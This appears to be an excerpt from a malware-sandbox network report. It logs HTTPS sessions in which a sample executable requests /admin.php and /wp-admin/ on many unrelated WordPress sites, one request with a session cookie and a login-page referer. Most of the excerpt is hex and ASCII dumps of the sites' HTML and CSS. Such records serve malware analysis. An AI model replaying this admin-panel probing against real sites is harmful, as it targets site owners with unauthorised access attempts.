2023-11-26 05:59:41 UTC	628	IN	Data Raw: 37 63 62 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c Data Ascii: 7cb9<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge"><link rel="pingback" href="https://hightideinc.com/xmlrpc.php" /><script type="text/javascript">document.documentElement.cl
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 61 29 7d 3b 22 63 6f 6d 70 6c 65 74 65 22 21 3d 3d 64 6f 63 75 6d 65 6e 74 2e 72 65 61 64 79 53 74 61 74 65 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 62 29 3a 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 26 26 77 69 6e 64 6f 77 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 62 29 3a 62 28 29 7d 28 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 22 65 74 2d 64 69 76 69 2d 75 73 65 72 66 6f 6e 74 73 22 3e 40 66 6f 6e 74 2d 66 61 63 Data Ascii: document.getElementsByTagName("body")[0].appendChild(a)};"complete"!==document.readyState?window.addEventListener?window.addEventListener("load",b):window.attachEvent&&window.attachEvent("onload",b):b()}();</script><style id="et-divi-userfonts">@font-fac
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 48 69 67 68 20 54 69 64 65 20 49 6e 63 2e 20 26 72 61 71 75 6f 3b 20 43 6f 6d 6d 65 6e 74 73 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 63 6f 6d 6d 65 6e 74 73 2f 66 65 65 64 2f 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 44 69 76 69 20 76 2e 34 2e 32 33 2e 31 22 20 6e 61 6d 65 3d 22 67 65 6e 65 72 61 74 6f 72 22 20 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 69 64 3d 22 77 70 2d 62 6c 6f 63 Data Ascii: ://hightideinc.com/feed/" /><link rel="alternate" type="application/rss+xml" title="High Tide Inc. » Comments Feed" href="https://hightideinc.com/comments/feed/" /><meta content="Divi v.4.23.1" name="generator" /><link rel="stylesheet" id="wp-bloc
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 7b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 2e 32 35 65 6d 20 73 6f 6c 69 64 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 37 35 65 6d 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 20 66 6f 6f 74 65 72 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 Data Ascii: ,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote{border-left:.25em solid;margin:0 0 1.75em;padding-left:1em}.wp-block-quote cite,.wp-block-quote footer{color:currentColor;font-s
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 65 6d 70 6c 61 74 65 2d 70 61 72 74 2e Data Ascii: k-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video{margin:0 0 1em}.wp-block-template-part.
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 61 6d 62 65 72 2d 74 6f 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 61 28 32 35 32 2c 31 38 35 2c 30 2c 31 29 20 30 25 2c 72 67 62 61 28 32 35 35 2c 31 30 35 2c 30 2c 31 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 74 6f 2d 76 69 76 69 64 2d 72 65 64 3a 20 6c 69 6e Data Ascii: ient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: lin
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 78 2d 6c 61 72 67 65 3a 20 34 32 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 32 30 3a 20 30 2e 34 34 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 33 30 3a 20 30 2e 36 37 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 34 30 3a 20 31 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d 35 30 3a 20 31 2e 35 72 65 6d 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 70 61 63 69 6e 67 2d 2d Data Ascii: -size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 6c 65 66 74 7b 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 30 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 32 65 6d 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 72 69 67 68 74 7b 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 73 74 61 72 74 3a 20 32 65 6d 3b 6d 61 72 67 69 6e 2d 69 6e 6c 69 6e 65 2d 65 6e 64 3a 20 30 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 63 6f 6e 73 74 72 61 69 6e 65 64 20 3e 20 2e 61 6c 69 67 6e 63 65 6e 74 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 20 21 Data Ascii: layout-constrained > .alignleft{float: left;margin-inline-start: 0;margin-inline-end: 2em;}body .is-layout-constrained > .alignright{float: right;margin-inline-start: 2em;margin-inline-end: 0;}body .is-layout-constrained > .aligncenter{margin-left: auto !
2023-11-26 05:59:41 UTC	1369	IN	Data Raw: 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 70 61 6c 65 2d 70 69 6e 6b 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 29 20 21 Data Ascii: ) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
280	192.168.2.4	62828	159.203.32.4	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	177	OUT	GET /admin.php HTTP/1.1 Host: jamiesonmullin.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	176	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 30 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 32 39 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:40 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 3029Connection: closeContent-Type: text/html; charset=UTF-8
2023-11-26 05:59:41 UTC	3029	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 76 69 65 77 70 6f 72 74 2d 66 69 74 3d 63 6f 76 65 72 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e Data Ascii: <!DOCTYPE html><html><meta content="IE=edge" http-equiv="X-UA-Compatible"> <meta charset="utf-8"/> <meta content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, viewport-fit=cover" name="viewport"> <meta con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
281	192.168.2.4	62767	185.54.192.125	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	263	OUT	GET /wp-admin/ HTTP/1.1 Host: talentius.com Accept: / Accept-Encoding: deflate, gzip Cookie: PHPSESSID=tsjerc0qbgetoevok3cpga3dv1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://talentius.com/wp-login.php
2023-11-26 05:59:41 UTC	319	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 55 70 67 72 61 64 65 2c 20 63 6c 6f 73 65 0d 0a 54 72 61 6e 73 66 Data Ascii: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.52 (Ubuntu)Pragma: no-cacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Upgrade: h2,h2cConnection: Upgrade, closeTransf
2023-11-26 05:59:41 UTC	2741	IN	Data Raw: 61 61 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 66 6f 6c 6c 6f 77 27 Data Ascii: aa9<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml" lang="es-ES"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width"><meta name='robots' content='noindex,follow'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.4	62834	54.83.33.36	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	171	OUT	GET /admin.php HTTP/1.1 Host: ce-logic.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	294	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 55 62 75 6e 74 75 29 0d 0a 6c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 63 65 2d 6c 6f 67 69 63 2e 63 6f 6d 2f 61 64 6d 69 6e 2f 70 61 67 65 73 2f 0d 0a 76 61 72 79 3a 20 58 2d 46 6f 72 77 61 72 64 65 64 2d 50 72 6f 74 6f 63 6f 6c 0d 0a 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6e 6f 2d 73 74 6f 72 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e Data Ascii: HTTP/1.1 302 FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.52 (Ubuntu)location: https://ce-logic.com/admin/pages/vary: X-Forwarded-Protocolcache-control: no-cache, no-store, must-revalidateContent-Length: 0Connection: closeCon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.4	62753	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:40 UTC	175	OUT	GET /admin.php HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:41 UTC	420	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 31 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c 3d 22 68 74 74 70 73 3a 2f 2f 61 70 69 2e 77 2e 6f 72 67 2f 22 0d 0a 55 70 67 72 61 64 65 3a 20 68 32 2c 68 32 63 0d Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://himontessori.com/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2c
2023-11-26 05:59:41 UTC	7772	IN	Data Raw: 32 62 34 37 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 66 62 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 66 62 23 20 61 72 74 69 63 6c 65 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 2f 61 72 74 69 63 6c 65 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 Data Ascii: 2b47<!doctype html><html lang="en-US" prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb# article: http://ogp.me/ns/article#"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile"
2023-11-26 05:59:41 UTC	3313	IN	Data Raw: 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 32 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 61 62 6f 75 74 75 73 2f 22 3e 41 62 6f 75 74 20 48 4d 53 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 73 75 62 2d 6d 65 6e 75 22 3e 0a 09 3c 6c 69 20 69 64 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 22 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 33 34 31 35 Data Ascii: -post_type menu-item-object-page menu-item-has-children menu-item-3412"><a href="https://himontessori.com/aboutus/">About HMS</a><ul class="sub-menu"><li id="menu-item-3415" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-3415
2023-11-26 05:59:41 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:41 UTC	8192	IN	Data Raw: 33 62 31 30 0d 0a 09 09 09 09 09 0a 09 09 09 09 09 0a 09 09 09 09 3c 2f 6e 61 76 3e 3c 21 2d 2d 20 23 73 69 74 65 2d 6e 61 76 69 67 61 74 69 6f 6e 20 2d 2d 3e 09 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 3c 2f 64 69 76 3e 0a 09 3c 2f 64 69 76 3e 0a 09 3c 68 65 61 64 65 72 20 69 64 3d 22 6d 61 73 74 68 65 61 64 22 20 63 6c 61 73 73 3d 22 73 69 74 65 2d 68 65 61 64 65 72 20 62 61 62 79 2d 68 65 61 64 2d 69 6d 67 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6e 6f 2d 68 65 61 64 65 72 2d 69 6d 67 22 3e 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 62 79 2d 63 6f 6e 74 61 69 6e 65 72 20 73 69 74 65 2d 62 72 61 6e 64 69 6e 67 20 22 3e 0a 20 20 20 20 20 20 20 Data Ascii: 3b10</nav>... #site-navigation --></div></div></div><header id="masthead" class="site-header baby-head-img"> <div class="no-header-img"> <div class="baby-container site-branding ">
2023-11-26 05:59:41 UTC	6934	IN	Data Raw: 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 34 2f 27 3e 20 41 70 72 69 6c 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 33 2f 27 3e 20 4d 61 72 63 68 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 6c 75 65 3d 27 68 74 74 70 73 3a 2f 2f 68 69 6d 6f 6e 74 65 73 73 6f 72 69 2e 63 6f 6d 2f 32 30 32 31 2f 30 32 2f 27 3e 20 46 65 62 72 75 61 72 79 20 32 30 32 31 20 3c 2f 6f 70 74 69 6f 6e 3e 0a 09 3c 6f 70 74 69 6f 6e 20 76 61 